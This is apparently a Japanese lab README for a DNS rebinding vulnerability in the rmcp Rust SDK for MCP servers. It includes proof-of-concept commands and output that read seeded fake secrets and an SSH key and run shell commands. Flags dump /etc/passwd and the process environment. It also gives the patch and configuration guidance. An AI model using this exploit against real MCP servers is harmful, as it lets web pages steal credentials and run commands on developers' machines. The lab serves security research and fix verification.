
| 影響を受けるバージョン | rmcp — Model Context Protocol 用公式 Rust SDK — < 1.4.0 |
| 修正バージョン | 1.4.0(2026-04-10) |
| CWE | CWE-346(オリジン検証エラー)、CWE-350 |
| CVSS 3.1 | 8.8 High — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
rmcp < 1.4.0 の Streamable HTTP サーバートランスポートは、受信した Host ヘッダーを一切検査していませんでした。MCP サーバーは通常ループバックにバインドされ、ブラウザの同一オリジンポリシーのみによって保護されていますが、DNS リバインディングはこれを無効化します:
http://evil.example にアクセスします。このサイトは 1 秒の DNS TTL で配信されます。evil.example → 127.0.0.1 と応答します。fetch("http://evil.example:8000/mcp", …) を呼び出します。リクエストは被害者のローカル MCP サーバーに到達しますが、ブラウザは依然としてこれを同一オリジンとして扱います — CORS プリフライトは発生せず、JavaScript はすべてのレスポンスを読み取ることができます。そのリクエストを正当なものから区別する唯一の要素は Host ヘッダーです:127.0.0.1:8000 ではなく evil.example:8000。検証がないため、攻撃者のページは完全な MCP セッションを取得し、サーバーが公開するすべてのツール(ファイル読み取り、書き込み、シェル実行など、アシスタントが実行できるように設定されていたあらゆる操作)を列挙して呼び出すことができます。
1.4.0 では StreamableHttpServerConfig::allowed_hosts が追加され、デフォルトで ["localhost", "127.0.0.1", "::1"] となり、リクエストハンドラーの先頭に validate_dns_rebinding_headers() ゲートが追加され、それ以外の場合は 403 Forbidden を返します。
.
├── docker-compose.yml # 2 つのサービス、同じソース、異なる rmcp バージョン
├── mcp-server/ # 現実的な「開発者アシスタント」MCP サーバー
│ ├── Cargo.toml
│ ├── Dockerfile # RMCP_VERSION ビルド引数でクレートを固定
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC、Python 3.9+、依存関係なし
両コンテナは同じ src/main.rs と同じサーバー設定でビルドされます。唯一の違いは固定されたクレートのバージョンであり、動作の変化は完全にライブラリに起因します:
| サービス | ポート | rmcp | 期待される結果 |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | 偽造 Host が受け入れられる → 完全な侵害 |
patched | 127.0.0.1:8001 | 1.4.0 | 偽造 Host → 403 Forbidden |
サーバーは whoami、read_file、run_command を公開し、イメージには /home/dev/project/.env と /home/dev/.ssh/id_ed25519 に偽の認証情報がシードされているため、エクスプロイトが盗む対象があります。
docker compose up -d --build
脆弱なビルドをエクスプロイトします:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- Host ヘッダーが検証されていません
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] step 0: 正当な Host ヘッダーによるベースラインハンドシェイク
[+] 200 OK -- サーバー稼働中: rmcp 1.3.0
[*] step 1: リバインディング後のリクエストを再送信(Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- 偽造された Host ヘッダーが受け入れられました: CVE-2026-42559 に対して脆弱
[+] 外部オリジンからセッションが開かれました: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] step 2: 攻撃者のページに公開されたツールを列挙
- read_file ワークステーションからファイルを読み取る
- run_command ワークステーションでシェルコマンドを実行する
- whoami このアシスタントが実行されているワークステーションを説明する
[*] step 3: 攻撃者ページがローカル MCP クライアントであるかのようにツールを呼び出し
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] Web ページから被害者ホスト上での任意の読み取りとコマンド実行が可能
次に修正済みビルドで修正を確認します:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] step 0: 正当な Host ヘッダーによるベースラインハンドシェイク
[+] 200 OK -- サーバー稼働中: rmcp 1.4.0
[*] step 1: リバインディング後のリクエストを再送信(Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host ヘッダーは許可されていません
[+] 脆弱ではありません: このビルドは Host ヘッダーを検証します(rmcp >= 1.4.0)
ターゲットが脆弱な場合は終了コードが 1、脆弱でない場合は 0 となるため、スクリプトはそのまま CI に組み込めます。
便利なフラグ:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
後片付けは docker compose down で行います。
エクスプロイトはターゲットへの TCP 接続を開き、攻撃者が制御する Host ヘッダーを書き込みます(http.client.putrequest(..., skip_host=True))。これはリバウンドしたブラウザが送信するリクエストとバイト単位で同一です — DNS リバインディングは、ブラウザに外部の Host をループバックソケットへ送信させる仕組みにすぎません。この方法で再現することで、ラボを 2 つのコンテナと DNS インフラなしに保ちながら、CVE の対象となるコードパスを正確にテストできます。
// 1. アップグレードする。
// rmcp = "1.4" (またはそれ以降)
// 2. 1.4.0 以降はループバックのみがデフォルト — ローカルにバインドされた
// サーバーでは何もする必要はありません。
let config = StreamableHttpServerConfig::default();
// 3. 実際の公開デプロイメントでは、自前の名前を許可リストに追加します。
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
アップグレードできない場合は、未知の Host 値を拒否するリバースプロキシの背後で MCP エンドポイントを終端し、プロキシなしでサーバーを 0.0.0.0 にバインドしないでください。disable_allowed_hosts() は存在しますが、この正確なバグを再導入します。
ここにあるものはすべて意図的に脆弱であり、研究と教育のために存在します。コンテナは設計上シェル実行ツールを公開しています — ラボは自分が所有するマシンでのみ実行し、テストを許可されていないホストにエクスプロイトを向けないでください。